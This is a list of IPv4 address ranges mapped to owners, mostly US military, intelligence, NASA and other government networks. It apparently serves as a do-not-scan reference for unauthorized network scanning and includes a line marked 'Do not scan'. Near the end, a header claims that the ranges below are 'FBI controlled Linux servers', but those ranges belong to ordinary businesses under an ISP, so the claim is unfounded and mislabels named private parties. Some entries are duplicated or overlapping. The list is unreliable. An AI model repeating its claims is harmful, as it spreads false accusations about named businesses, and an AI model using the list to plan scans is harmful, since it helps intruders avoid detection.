131.46.0.0 20 Communications Squadron
131.47.0.0 Andersen Air Force Base
131.50.0.0 Davis-Monthan Air Force Base
131.52.0.0 56 Communications Squadron /SCBB
131.54.0.0 Air Force Concentrator Network
131.56.0.0 Upper Heyford Air Force Base
131.58.0.0 Alconbury Royal Air Force Base
131.59.0.0 7 Communications Squadron
131.61.0.0 McConnell Air Force Base
131.62.0.0 Norton Air Force Base
131.71.0.0 - 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO
131.74.0.0 Defense MegaCenter Columbus
131.84.0.0 Defense Technical Information Center
131.92.0.0 Army Information Systems Command - Aberdeen (EA)
131.105.0.0 McClellan Air Force Base
131.110.0.0 NASA/Michoud Assembly Facility
131.120.0.0 Naval Postgraduate School
131.121.0.0 United States Naval Academy
131.122.0.0 United States Naval Academy
131.176.0.0 European Space Operations Center
131.182.0.0 NASA Headquarters
131.250.0.0 Office of the Chief of Naval Research

RANGE 132
132.3.0.0 Williams Air Force Base
132.5.0.0 - 132.5.255.255 49th Fighter Wing
132.6.0.0 Ankara Air Station
132.7.0.0 - 132.7.255.255 SSG/SINO
132.9.0.0 28th Bomb Wing
132.10.0.0 319 Comm Sq
132.11.0.0 Hellenikon Air Base
132.12.0.0 Myrtle Beach Air Force Base
132.13.0.0 Bentwaters Royal Air Force Base
132.14.0.0 Air Force Concentrator Network
132.15.0.0 Kadena Air Base
132.16.0.0 Kunsan Air Base
132.17.0.0 Lindsey Air Station
132.18.0.0 McGuire Air Force Base
132.19.0.0 100CS (NET-MILDENHALL)
132.20.0.0 35th Communications Squadron
132.21.0.0 Plattsburgh Air Force Base
132.22.0.0 23Communications Sq
132.24.0.0 Dover Air Force Base
132.25.0.0 786 CS/SCBM
132.27.0.0 - 132.27.255.255 39CS/SCBBN
132.28.0.0 14TH COMMUNICATION SQUADRON
132.30.0.0 Lajes Air Force Base
132.31.0.0 Loring Air Force Base
132.33.0.0 60CS/SCSNM
132.34.0.0 Cannon Air Force Base
132.35.0.0 Altus Air Force Base
132.37.0.0 75 ABW
132.38.0.0 Goodfellow AFB
132.39.0.0 K.I. Sawyer Air Force Base
132.40.0.0 347 COMMUNICATION SQUADRON
132.42.0.0 Spangdahlem Air Force Base
132.43.0.0 Zweibruchen Air Force Base
132.45.0.0 Chanute Air Force Base
132.46.0.0 Columbus Air Force Base
132.48.0.0 Laughlin Air Force Base
132.49.0.0 366CS/SCSN
132.50.0.0 Reese Air Force Base
132.52.0.0 Vance Air Force Base
132.54.0.0 Langley AFB
132.55.0.0 Torrejon Air Force Base
132.56.0.0 - 132.56.255.255 9 CS/SC
132.57.0.0 Castle Air Force Base
132.58.0.0 Nellis Air Force Base
132.59.0.0 24Comm SquadronSCSNA
132.60.0.0 - 132.60.255.255 42ND COMMUNICATION SQUADRON
132.61.0.0 SSG/SIN
132.62.0.0 - 132.62.255.255 377 COMMUNICATION SQUADRON
132.79.0.0 Army National Guard Bureau
132.80.0.0 - 132.80.255.255 NGB-AIS-OS
132.80.0.0 - 132.85.255.255 National Guard Bureau
132.82.0.0 Army National Guard Bureau
132.86.0.0 National Guard Bureau
132.87.0.0 - 132.93.255.255 National Guard Bureau
132.94.0.0 Army National Guard Bureau
132.95.0.0 - 132.103.255.255 National Guard Bureau
132.95.0.0 - 132.108.0.0 DOD Network Information Center
132.104.0.0 - 132.104.255.255 Army National Guard Bureau
132.105.0.0 - 132.108.255.255 Army National Guard Bureau
132.109.0.0 National Guard Bureau
132.110.0.0 - 132.116.255.255 Army National Guard Bureau
132.114.0.0 Army National Guard
132.117.0.0 Army National Guard Bureau
132.118.0.0 - 132.132.0.0 Army National Guard Bureau
132.122.0.0 South Carolina Army National Guard, USPFO
132.133.0.0 National Guard Bureau
132.134.0.0 - 132.143.255.255 National Guard Bureau
132.159.0.0 Army Information Systems Command
132.193.0.0 Army Research Office
132.250.0.0 Naval Research Laboratory

RANGE 134
134.5.0.0 Lockheed Aeronautical Systems Company
134.11.0.0 The Pentagon
134.12.0.0 NASA Ames Research Center
134.51.0.0 Boeing Military Aircraft Facility
134.52.*.* Boeing Corporation
134.78.0.0 Army Information Systems Command-ATCOM
134.80.0.0 Army Information Systems Command
134.118.0.0 NASA/Johnson Space Center
134.131.0.0 Wright-Patterson Air Force Base
134.136.0.0 Wright-Patterson Air Force Base
134.164.0.0 Army Engineer Waterways Experiment Station
134.165.0.0 Headquarters Air Force Space Command
134.194.0.0 U.S. Army Aberdeen Test Center
134.205.0.0 7th Communications Group
134.207.0.0 Naval Research Laboratory
134.229.0.0 Navy Regional Data Automation Center
134.230.0.0 Navy Regional Data Automation Center
134.232.0.0 - 134.232.255.255 U.S. Army, Europe
134.233.0.0 HQ 5th Signal Command
134.234.0.0 - 134.234.255.255 Southern European Task Force
134.235.0.0 HQ 5th Signal Command
134.240.0.0 U.S. Military Academy
136.149.0.0 Air Force Military Personnel Center

RANGE 136
136.178.0.0 NASA Research Network
136.188.0.0 - 136.197.255.255 Defense Intelligence Agency
136.207.0.0 69th Signal Battalion
136.208.0.0 HQ, 5th Signal Command
136.209.0.0 HQ 5th Signal Command
136.210.0.0 HQ 5th Signal Command
136.212.0.0 HQ 5th Signal Command
136.213.0.0 HQ, 5th Signal Command
136.214.0.0 HQ, 5th Signal Command
136.215.0.0 HQ, 5th Signal Command
136.216.0.0 HQ, 5th Signal Command
136.217.0.0 HQ, 5th Signal Command
136.218.0.0 HQ, 5th Signal Command
136.219.0.0 HQ, 5th Signal Command
136.220.0.0 HQ, 5th Signal Command
136.221.0.0 HQ, 5th Signal Command
136.222.0.0 HQ, 5th Signal Command

RANGE 137
137.1.0.0 Whiteman Air Force Base
137.2.0.0 George Air Force Base
137.3.0.0 Little Rock Air Force Base
137.4.0.0 - 137.4.255.255 437 CS/SC
137.5.0.0 Air Force Concentrator Network
137.6.0.0 Air Force Concentrator Network
137.11.0.0 HQ AFSPC/SCNNC
137.12.0.0 Air Force Concentrator Network
137.17.* National Aerospace Laboratory
137.24.0.0 Naval Surface Warfare Center
137.29.0.0 First Special Operations Command
137.67.0.0 Naval Warfare Assessment Center
137.94.* Royal Military College
137.95.* Headquarters, U.S. European Command
137.126.0.0 USAF MARS
137.127.* Army Concepts Analysis Agency
137.128.* U.S. ARMY Tank-Automotive Command
137.130.0.0 Defense Information Systems Agency
137.209.0.0 Defense Information Systems Agency
137.210.0.0 Defense Information Systems Agency
137.211.0.0 Defense Information Systems Agency
137.212.0.0 Defense Information Systems Agency
137.231.0.0 HQ 5th Signal Command
137.232.0.0 Defense Information Systems Agency
137.233.0.0 Defense Information Systems Agency
137.234.0.0 Defense Information Systems Agency
137.235.0.0 Defense Information Systems Agency
137.240.0.0 Air Force Materiel Command
137.241.0.0 75 ABW
137.242.0.0 Air Force Logistics Command
137.243.0.0 77 CS/SCCN
137.244.0.0 78 CS/SCSC
137.245.0.0 Wright Patterson Air Force Base
137.246.0.0 United States Atlantic Command Joint Training

RANGE 138
138.13.0.0 Air Force Systems Command
138.27.0.0 Army Information Systems Command
138.50.0.0 HQ 5th Signal Command
138.65.0.0 HQ, 5th Signal Command
138.76.0.0 NASA Headquarters
138.109.0.0 Naval Surface Warfare Center
138.115.0.0 NASA Information and Electronic Systems Laboratory
138.135.0.0 - 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR
138.136.0.0 - 138.136.255.255 Navy Computers and Telecommunications Station
138.137.0.0 Navy Regional Data Automation Center (NARDAC)
138.139.0.0 Marine Corps Air Station
138.140.0.0 Navy Regional Data Automation Center
138.141.0.0 Navy Regional Data Automation Center
138.142.0.0 Navy Regional Data Automation Center
138.143.0.0 Navy Regional Data Automation Center
138.144.0.0 NAVCOMTELCOM
138.145.0.0 NCTS WASHINGTON
138.146.0.0 NCTC
138.147.0.0 NCTC
138.148.0.0 NCTC
138.149.0.0 NCTC
138.150.0.0 NCTC
138.151.0.0 NCTC
138.152.0.0 NCTC
138.153.0.0 Yokosuka Naval Base
138.154.0.0 NCTC
138.155.0.0 NCTC
138.156.0.0 Marine Corps Central Design & Prog. Activity
138.157.0.0 - 138.157.255.255 Marine Corps Central Design & Prog. Activity
138.158.0.0 Marine Corps Central Design & Prog. Activity
138.159.0.0 NCTC
138.160.0.0 Naval Air Station
138.161.0.0 NCTC
138.162.0.0 NCTC
138.163.0.0 NCTC
138.164.0.0 NCTC
138.165.0.0 NCTC
138.166.0.0 NCTC
138.167.0.0 NOC, MCTSSA, East
138.168.0.0 Marine Corps Central Design & Prog. Activity
138.169.0.0 NAVAL COMPUTER AND TELECOMM
138.169.12.0 NAVAL COMPUTER AND TELECOMM
138.169.13.0 NAVAL COMPUTER AND TELECOMM
138.170.0.0 NCTC
138.171.0.0 NCTC
138.172.0.0 NCTC
138.173.0.0 NCTC
138.174.0.0 NCTC
138.175.0.0 NCTC
138.176.0.0 NCTC
138.177.0.0 NCTS Pensacola
138.178.0.0 NCTC
138.179.0.0 NCTC
138.180.0.0 NCTC
138.181.0.0 NCTC
138.182.0.0 CNO N60
138.183.0.0 NCTC
138.184.0.0 NCTS
138.193.0.0 NASA/Yellow Creek

RANGE 139
139.31.0.0 20th Tactical Fighter Wing
139.32.0.0 48th Tactical Fighter Wing
139.33.0.0 36th Tactical Fighter Wing
139.34.0.0 52nd Tactical Fighter Wing
139.35.0.0 50th Tactical Fighter Wing
139.36.0.0 66th Electronic Combat Wing
139.37.0.0 26th Tactical Reconnaissance Wing
139.38.0.0 32nd Tactical Fighter Squadron
139.39.0.0 81st Tactical Fighter Wing
139.40.0.0 10th Tactical Fighter Wing
139.41.0.0 39th Tactical Air Control Group
139.42.0.0 40th Tactical Air Control Group
139.43.0.0 401st Tactical Fighter Wing
139.124.* Reseau Infomratique
139.142.*.*

RANGE 140
140.1.0.0 Defense Information Systems Agency
140.3.0.0 Defense Information Systems Agency
140.4.0.0 Defense Information Systems Agency
140.5.0.0 Defense Information Systems Agency
140.6.0.0 Defense Information Systems Agency
140.7.0.0 Defense Information Systems Agency
140.8.0.0 Defense Information Systems Agency
140.9.0.0 Defense Information Systems Agency
140.10.0.0 Defense Information Systems Agency
140.11.0.0 Defense Information Systems Agency
140.12.0.0 Defense Information Systems Agency
140.13.0.0 Defense Information Systems Agency
140.14.0.0 DISA Columbus Level II NOC
140.15.0.0 Defense Information Systems Agency
140.16.0.0 Defense Information Systems Agency
140.17.0.0 Defense Information Systems Agency
140.18.0.0 Defense Information Systems Agency
140.19.0.0 Defense Information Systems Agency
140.20.0.0 Defense Information Systems Agency
140.21.0.0 Defense Information Systems Agency
140.22.0.0 Defense Information Systems Agency
140.23.0.0 Defense Information Systems Agency
140.24.0.0 ASIC ALLIANCE-MARLBORO
140.25.0.0 Defense Information Systems Agency
140.26.0.0 Defense Information Systems Agency
140.27.0.0 Defense Information Systems Agency
140.28.0.0 Defense Information Systems Agency
140.29.0.0 Defense Information Systems Agency
140.30.0.0 Defense Information Systems Agency
140.31.0.0 Defense Information Systems Agency
140.32.0.0 Defense Information Systems Agency
140.33.0.0 Defense Information Systems Agency
140.34.0.0 Defense Information Systems Agency
140.35.0.0 Defense Information Systems Agency
140.36.0.0 Defense Information Systems Agency
140.37.0.0 Defense Information Systems Agency
140.38.0.0 Defense Information Systems Agency
140.39.0.0 Defense Information Systems Agency
140.40.0.0 Defense Information Systems Agency
140.41.0.0 Defense Information Systems Agency
140.42.0.0 Defense Information Systems Agency
140.43.0.0 Defense Information Systems Agency
140.44.0.0 Defense Information Systems Agency
140.45.0.0 Defense Information Systems Agency
140.46.0.0 Defense Information Systems Agency
140.47.0.0 - 140.47.255.255 Defense Information Systems Agency
140.47.0.0 - 140.48.255.255 DOD Network Information Center
140.48.0.0 - 140.48.255.255 Defense Information Systems Agency
140.49.0.0 Defense Information Systems Agency
140.50.0.0 Defense Information Systems Agency
140.51.0.0 Defense Information Systems Agency
140.52.0.0 Defense Information Systems Agency
140.53.0.0 Defense Information Systems Agency
140.54.0.0 Defense Information Systems Agency
140.55.0.0 Defense Information Systems Agency
140.56.0.0 Defense Information Systems Agency
140.57.0.0 Defense Information Systems Agency
140.58.0.0 Defense Information Systems Agency
140.59.0.0 Defense Information Systems Agency
140.60.0.0 Defense Information Systems Agency
140.61.0.0 Defense Information Systems Agency
140.62.0.0 Defense Information Systems Agency
140.63.0.0 Defense Information Systems Agency
140.64.0.0 Defense Information Systems Agency
140.65.0.0 Defense Information Systems Agency
140.66.0.0 Defense Information Systems Agency
140.67.0.0 Defense Information Systems Agency
140.68.0.0 Defense Information Systems Agency
140.69.0.0 Defense Information Systems Agency
140.70.0.0 Defense Information Systems Agency
140.71.0.0 Defense Information Systems Agency
140.72.0.0 Defense Information Systems Agency
140.73.0.0 Defense Information Systems Agency
140.74.0.0 - 140.74.255.255 Defense Information Systems Agency
140.100.0.0 Naval Sea Systems Command
140.139.0.0 HQ US Army Medical Research and Development Command
140.154.0.0 HQ 5th Signal Command
140.155.0.0 HQ, 5th Signal Command
140.156.0.0 HQ, 5th Signal Command
140.175.0.0 Scott Air Force Base
140.178.0.0 Naval Undersea Warfare Center Division, Keyport
140.187.0.0 Fort Bragg
140.194.0.0 US Army Corps of Engineers
140.195.0.0 Naval Sea Systems Command
140.199.0.0 Naval Ocean Systems Center
140.201.0.0 HQ, 5th Signal Command
140.202.0.0 106TH SIGNAL BRIGADE

RANGE 143
143.45.0.0 58th Signal Battalion
143.46.0.0 U.S. Army, 1141st Signal Battalion
143.68.0.0 Headquarters, USAISC
143.69.0.0 Headquarters, USAAISC
143.70.0.0 Headquarters, USAAISC
143.71.0.0 Headquarters, USAAISC
143.72.0.0 Headquarters, USAAISC
143.73.0.0 Headquarters, USAAISC
143.74.0.0 Headquarters, USAAISC
143.75.0.0 Headquarters, USAAISC
143.76.0.0 Headquarters, USAAISC
143.77.0.0 Headquarters, USAAISC
143.78.0.0 Headquarters, USAAISC
143.79.0.0 Headquarters, USAAISC
143.80.0.0 Headquarters, USAAISC
143.81.0.0 Headquarters, USAAISC
143.82.0.0 Headquarters, USAAISC
143.84.0.0 Headquarters, USAAISC
143.85.0.0 Headquarters, USAAISC
143.86.0.0 Headquarters, USAAISC
143.87.0.0 Headquarters, USAAISC
143.232.0.0 NASA Ames Research Center

RANGE 144
144.99.0.0 United States Army Information Systems Command
144.109.0.0 Army Information Systems Command
144.143.0.0 Headquarters, Third United States Army
144.144.0.0 Headquarters, Third United States Army
144.146.0.0 Commander, Army Information Systems Center
144.147.0.0 Commander, Army Information Systems Center
144.170.0.0 HQ, 5th Signal Command
144.192.0.0 United States Army Information Services Command-Campbell
144.233.0.0 Defense Intelligence Agency
144.234.0.0 Defense Intelligence Agency
144.235.0.0 Defense Intelligence Agency
144.236.0.0 Defense Intelligence Agency
144.237.0.0 Defense Intelligence Agency
144.238.0.0 Defense Intelligence Agency
144.239.0.0 Defense Intelligence Agency
144.240.0.0 Defense Intelligence Agency
144.241.0.0 Defense Intelligence Agency
144.242.0.0 Defense Intelligence Agency
144.252.0.0 U.S. Army LABCOM

RANGE 146
146.17.0.0 HQ, 5th Signal Command
146.80.0.0 Defence Research Agency
146.98.0.0 HQ United States European Command
146.154.0.0 NASA/Johnson Space Center
146.165.0.0 NASA Langley Research Center

RANGE 147
147.35.0.0 HQ, 5th Signal Command
147.36.0.0 HQ, 5th Signal Command
147.37.0.0 HQ, 5th Signal Command
147.38.0.0 HQ, 5th Signal Command
147.39.0.0 HQ, 5th Signal Command
147.40.0.0 HQ, 5th Signal Command
147.42.0.0 Army CALS Project
147.103.0.0 Army Information Systems Software Center
147.104.0.0 Army Information Systems Software Center
147.159.0.0 Naval Air Warfare Center, Aircraft Division
147.168.0.0 Naval Surface Warfare Center
147.169.0.0 HQ, 5th Signal Command
147.198.0.0 Army Information Systems Command
147.199.0.0 Army Information Systems Command
147.238.0.0 Army Information Systems Command
147.239.0.0 1112th Signal Battalion
147.240.0.0 US Army Tank-Automotive Command
147.242.0.0 19th Support Command
147.248.0.0 Fort Monroe DOIM
147.254.0.0 7th Communications Group

RANGE 148
148.114.0.0 NASA, Stennis Space Center

RANGE 150
150.113.0.0 1114th Signal Battalion
150.114.0.0 1114th Signal Battalion
150.125.0.0 Space and Naval Warfare Command
150.133.0.0 10th Area Support Group
150.144.0.0 NASA Goodard Space Flight Center
150.149.0.0 Army Information Systems Command
150.157.0.0 USAISC-Fort Lee
150.184.0.0 Fort Monroe DOIM
150.190.0.0 USAISC-Letterkenny
150.196.0.0 USAISC-LABCOM

RANGE 152
152.82.0.0 7th Communications Group of the Air Force
152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command
152.152.0.0 NATO Headquarters
152.154.0.0 Defense Information Systems Agency
152.229.0.0 Defense MegaCenter (DMC) Denver

RANGE 153
153.21.0.0 USCENTAF/SCM
153.22.0.0 USCENTAF/SCM
153.23.0.0 USCENTAF/SCM
153.24.0.0 USCENTAF/SCM
153.25.0.0 USCENTAF/SCM
153.26.0.0 USCENTAF/SCM
153.27.0.0 USCENTAF/SCM
153.28.0.0 USCENTAF/SCM
153.29.0.0 USCENTAF/SCM
153.30.0.0 USCENTAF/SCM
153.31.0.0 Federal Bureau of Investigation

RANGE 155
155.5.0.0 1141st Signal Bn
155.6.0.0 1141st Signal Bn
155.7.0.0 American Forces Information
155.8.0.0 U.S. ArmyFort Gordon
155.9.0.0 - 155.9.255.255 United States Army Information Systems Command
155.74.0.0 PEO STAMIS
155.75.0.0 US Army Corps of Engineers
155.76.0.0 PEO STAMIS
155.77.0.0 PEO STAMIS
155.78.0.0 PEO STAMIS
155.79.0.0 US Army Corps of Engineers
155.80.0.0 PEO STAMIS
155.81.0.0 PEO STAMIS
155.82.0.0 PEO STAMIS
155.83.0.0 US Army Corps of Enginers
155.84.0.0 PEO STAMIS
155.85.0.0 PEO STAMIS
155.86.0.0 US Army Corps of Engineers
155.87.0.0 PEO STAMIS
155.88.0.0 PEO STAMIS
155.96.0.0 Drug Enforcement Administration
155.149.0.0 1112th Signal Battalion
155.155.0.0 HQ, 5th Signal Command
155.178.0.0 Federal Aviation Administration
155.213.0.0 USAISC Fort Benning
155.214.0.0 Director of Information Management
155.215.0.0 USAISC-FT DRUM
155.216.0.0 TCACCIS Project Management Office
155.217.0.0 Directorate of Information Management
155.218.0.0 USAISC
155.219.0.0 DOIM/USAISC Fort Sill
155.220.0.0 USAISC-DOIM
155.221.0.0 USAISC-Ft Ord

RANGE 156
156.9.0.0 U. S. Marshals Service

RANGE 157
157.150.0.0 United Nations
157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET
157.202.0.0 US Special Operations Command
157.217.0.0 U. S. Strategic Command

RANGE 158
158.1.0.0 Commander, Tooele Army Depot
158.2.0.0 USAMC Logistics Support Activity
158.3.0.0 U.S. Army TACOM
158.4.0.0 UASISC Ft. Carson
158.5.0.0 1112th Signal Battalion
158.6.0.0 USAISC-Ft. McCoy
158.7.0.0 USAISC-FLW
158.8.0.0 US Army Soldier Support Center
158.9.0.0 USAISC-CECOM
158.10.0.0 GOC
158.11.0.0 UASISC-Vint Hill
158.12.0.0 US Army Harry Diamond Laboratories
158.13.0.0 USAISC DOIM
158.14.0.0 1112th Signal Battalion
158.15.0.0 - 158.15.255.255 Defense Megacenter Huntsville
158.16.0.0 Rocky Mountain Arsenal (PMRMA)
158.17.0.0 Crane Army Ammunition Activity
158.18.0.0 Defense Finance & Accounting Service Center
158.19.0.0 DOIM
158.20.0.0 DOIM
158.235.0.0 Marine Corps Central Design and Programming Activity
158.243.0.0 Marine Corps Central Design and Programming Activity
158.244.0.0 Marine Corps Central Design and Programming Activity
158.245.0.0 Marine Corps Central Design and Programming Activity
158.246.0.0 Marine Corps Central Design and Programming Activity

RANGE 159
159.120.0.0 Naval Air Systems Command (Air 4114)

RANGE 160
160.132.0.0 US Army Recruiting Command
160.135.0.0 36th Signal BN
160.138.0.0 USAISC
160.139.0.0 USAISC
160.140.0.0 HQ, United States Army
160.143.0.0 USAISC
160.145.0.0 1101st Signal Brigade
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS
160.150.0.0 Commander, Moncrief Army Hospital

RANGE 161
161.124.0.0 NAVAL WEAPONS STATION

RANGE 162
162.32.0.0 Naval Aviation Depot Pensacola
162.45.0.0 Central Intelligence Agency
162.46.0.0 Central Intelligence Agency

RANGE 163
163.205.0.0 NASA Kennedy Space Center
163.206.0.0 NASA Kennedy Space Center

RANGE 164
164.45.0.0 Naval Ordnance Center, Pacific Division
164.49.0.0 United States Army Space and Strategic Defense
164.158.0.0 Naval Surface Warfare Center
164.217.0.0 Institute for Defense Analyses
164.218.0.0 Bureau of Naval Personnel
164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER
164.220.0.0 - 164.220.255.255 NIMIP/TIP/NEWNET
164.221.0.0 - 164.221.255.255 Information Technology
164.223.0.0 Naval Undersea Warfare Center
164.224.0.0 Secretary of the Navy
164.225.0.0 U.S. Army Intelligence and Security Command
164.226.0.0 Naval Exchange Service Command
164.227.0.0 Naval Surface Warfare Center, Crane Division
164.228.0.0 USCINCPAC J21T
164.229.0.0 NCTS-NOLA
164.230.0.0 Naval Aviation Depot
164.231.0.0 Military Sealift Command
164.232.0.0 - 164.232.255.255 United States Southern Command

RANGE 167
167.44.0.0 Government Telecommunications Agency

RANGE 168
168.68.0.0 USDA Office of Operations
168.85.0.0 Fort Sanders Alliance
168.102.0.0 Indiana Purdue Fort Wayne

RANGE 169
169.252.0.0 - 169.253.0.0 U.S. Department of State

RANGE 194

RANGE 195
195.10.* Various - Do not scan

RANGE 199
199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA

RANGE 203
203.59.0.0 - 203.59.255.255 Perth Australia iiNET

RANGE 204
204.34.0.0 - 204.34.15.0 IPC JAPAN
204.34.0.0 - 204.37.255.0 DOD Network Information Center
204.34.16.0 - 204.34.27.0 Bureau of Medicine and Surgery
204.34.32.0 - 204.34.63.0 USACOM
204.34.64.0 - 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE
204.34.128.0 DISA-Eucom / BBN-STD, Inc.
204.34.129.0 Defense Technical Information Center
204.34.130.0 GSI
204.34.131.0 NSA NAPLES ITALY
204.34.132.0 NAVSTA ROTA SPAIN
204.34.133.0 NAS SIGONELLA ITALY
204.34.134.0 Naval Air Warfare Center Aircraft Division
204.34.135.0 GSI
204.34.136.0 Naval Undersea Warfare Center USRD - Orlando
204.34.137.0 Joint Spectrum Center
204.34.138.0 GSI
204.34.139.0 HQ, JFMO Korea, Headquarters
204.34.140.0 DISA D75
204.34.141.0 U. S. Naval Air Facility, Atsugi Japan
204.34.142.0 Naval Enlisted Personnel Management Center
204.34.143.0 Afloat Training Group Pacific
204.34.144.0 HQ Special Operations Command - Europe
204.34.145.0 Commander Naval Base Pearl Harbor
204.34.147.0 NAVSEA Information Management Improvement Program
204.34.148.0 Q112
204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures
204.34.150.0 Resource Consultants, Inc.
204.34.151.0 Personnel Support Activity, San Diego
204.34.152.0 NAVAL AIR FACILITY, ADAK
204.34.153.0 NAVSEA Logistics Command Detachment
204.34.154.0 PEARL HARBOR NAVAL SHIPYARD
204.34.155.0 PEARL HARBOR NAVAL SHIPYARD
204.34.156.0 Defense Photography School
204.34.157.0 - 204.34.160.0 Defense Information School
204.34.161.0 Naval Air Systems Command
204.34.162.0 Puget Sound Naval Shipyard
204.34.163.0 Joint Precision Strike Demonstration
204.34.164.0 Naval Pacific Meteorology and Ocean
204.34.165.0 Joint Precision Strike Demonstration
204.34.167.0 USAF
204.34.168.0 Commander
204.34.169.0 Naval Air Warfare Center
204.34.170.0 Naval Air Systems Command
204.34.171.0 NAVSTA SUPPLY DEPARTMENT
204.34.173.0 SUBMEPP Activity
204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN
204.34.176.0 DISA-PAC,IPC-GUAM
204.34.177.0 Satellite Production Test Center
204.34.181.0 940 Air Refueling Wing
204.34.182.0 Defense Megacenter Warner Robins
204.34.183.0 GCCS Support Facility
204.34.184.0 Nav Air Tech Serv Facility-Detachment
204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA
204.34.186.0 Defense Logistics Agency - Europe
204.34.187.0 NAVMASSO
204.34.188.0 Commander-In-Chief, US Pacific Fleet
204.34.189.0 Defense MegaCenter - St Louis
204.34.190.0 NAVMASSO
204.34.192.0 HQ SOCEUR
204.34.193.0 Second Marine Expeditionary Force
204.34.194.0 Second Marine Expeditionary Force
204.34.195.0 Second Marine Expeditionary Force
204.34.196.0 NAVCOMTELSTAWASHDC
204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.198.0 Naval Observatory Detachment, Colorado
204.34.199.0 NAVILCODETMECH
204.34.200.0 Navy Environmental Preventive Medicine
204.34.201.0 Port Hueneme Division, Naval Surf
204.34.202.0 Naval Facilities Engineering Housing
204.34.203.0 NAVSEA Logistics Command Detachment
204.34.204.0 Naval Air Warfare Center
204.34.205.0 Portsmouth Naval Shipyard
204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.208.0 - 204.34.210.0 Military Sealift Command Pacific
204.34.211.0 USAF Academy
204.34.212.0 3rd Combat Service Support
204.34.213.0 1st Radio Battalion
204.34.214.0 OASD (Health Affairs)
204.34.215.0 Second Marine Expeditionary Force
204.34.216.0 1st Marine Air Wing
204.34.217.0 SA-ALC/LTE
204.34.218.0 3rd Marine
204.34.219.0 Communications and Electronics
204.34.220.0 G-6 Operations
204.34.221.0 G-6 Operations
204.34.222.0 G-6 Operations
204.34.223.0 G-6 Operations
204.34.224.0 G-6 Operations
204.34.225.0 Joint Interoperability Test Command
204.34.226.0 NAVMASSO
204.34.227.0 NAVMASSO
204.34.228.0 - 204.34.228.255 Field Command Defense Nuclear Agency
204.34.229.0 Naval Space Command
204.34.230.0 Naval Pacific Meteorology and Oceanography
204.34.232.0 Military Family Housing
204.34.233.0 - 204.34.233.255 Navy Material Transportation Office
204.34.234.0 NAVMASSO
204.34.235.0 Defense Finance and Accounting Service
204.34.237.0 European Stars and Stripes
204.34.238.0 Pacific Stars and Stripes
204.34.239.0 PUGET SOUND NAVAL SHIPYARD
204.34.240.0 Nval Station, Guantanamo Bay
204.34.242.0 COMNAVSURFPAC
204.34.243.0 NAVMASSO
204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy
204.34.245.0 USAF SpaceCommand
204.34.246.0 USAF
204.34.247.0 U.S. Army Special Operations Command
204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA
204.34.249.0 Naval Aviation Depot North Island
204.34.250.0 NAVMASSO
204.34.251.0 NAVSEA Log Command Detachment Pacific
204.34.252.0 Command Special Boat Squadron One
204.34.253.0 AFPCA/GNNN
204.34.254.0 Navy Environmental Preventive Medicine

RANGE 205
205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR
205.96.* - 205.103.*

RANGE 207
207.30.* Sprint/United Telephone of Florida

All the below are FBI controlled Linux servers & IPs/IP-Ranges

207.60.0.0 - 207.60.255.0 The Internet Access Company
207.60.2.128 - 207.60.2.255 Abacus Technology
207.60.3.0 - 207.60.3.127 Mass Electric Construction Co.
207.60.3.128 - 207.60.3.255 Peabody Proberties Inc
207.60.4.0 - 207.60.4.127 Northern Electronics
207.60.4.128 - 207.60.4.255 Posternak, Blankstein & Lund
207.60.5.64 - 207.60.5.127 Woodard & Curran
207.60.5.192 - 207.60.5.255 On Line Services
207.60.6.0 - 207.60.6.63 The 400 Group
207.60.6.64 - 207.60.6.127 RD Hunter and Company
207.60.6.128 - 207.60.6.191 Louis Berger and Associates
207.60.6.192 - 207.60.6.255 Ross-Simons
207.60.7.0 - 207.60.7.63 Eastern Cambridge Savings Bank
207.60.7.64 - 207.60.7.127 Greater Lawrence Community Action Committee
207.60.7.128 - 207.60.7.191 Data Electronic Devices, Inc
207.60.8.0 - 207.60.8.255 Sippican
207.60.9.0 - 207.60.9.31 Alps Sportswear Mfg Co
207.60.9.32 - 207.60.9.63 Escher Group Ltd
207.60.9.64 - 207.60.9.95 West Suburban Elder
207.60.9.96 - 207.60.9.127 Central Bank
207.60.9.128 - 207.60.9.159 Danick Systems
207.60.9.160 - 207.60.9.191 Alps Sportswear Mfg CO
207.60.9.192 - 207.60.9.223 BSCC
207.60.13.16 - 207.60.13.23 Patrons Insurance Group
207.60.13.40 - 207.60.13.47 Athera Technologies
207.60.13.48 - 207.60.13.55 Service Edge Partners Inc
207.60.13.56 - 207.60.13.63 Massachusetts Credit Union League
207.60.13.64 - 207.60.13.71 SierraCom
207.60.13.72 - 207.60.13.79 AI/ FOCS
207.60.13.80 - 207.60.13.87 Extreme soft
207.60.13.96 - 207.60.13.103 Eaton Seo Corp
207.60.13.112 - 207.60.13.119 C. White
207.60.13.120 - 207.60.13.127 Athera
207.60.13.128 - 207.60.13.135 Entropic Systems, INC
207.60.13.136 - 207.60.13.143 Wood Product Manufactureds Associates
207.60.13.160 - 207.60.13.167 Jamestown Distribution
207.60.13.168 - 207.60.13.175 C&M Computers
207.60.13.176 - 207.60.13.183 ABC Used Auto Parts
207.60.13.184 - 207.60.13.191 Tomas Weldon
207.60.13.192 - 207.60.13.199 Tage Inns
207.60.13.200 - 207.60.13.207 Control Module Inc
207.60.13.208 - 207.60.13.215 Hyper Crawler Information Systems
207.60.13.216 - 207.60.13.223 Eastern Bearings
207.60.13.224 - 207.60.13.231 North Shore Data Services
207.60.13.232 - 207.60.13.239 Mas New Hampshire
207.60.14.0 - 207.60.14.255 J. A. Webster
207.60.15.0 - 207.60.15.127 Trilogic
207.60.16.0 - 207.60.16.255 Area 54
207.60.18.0 - 207.60.18.63 Vested Development Inc
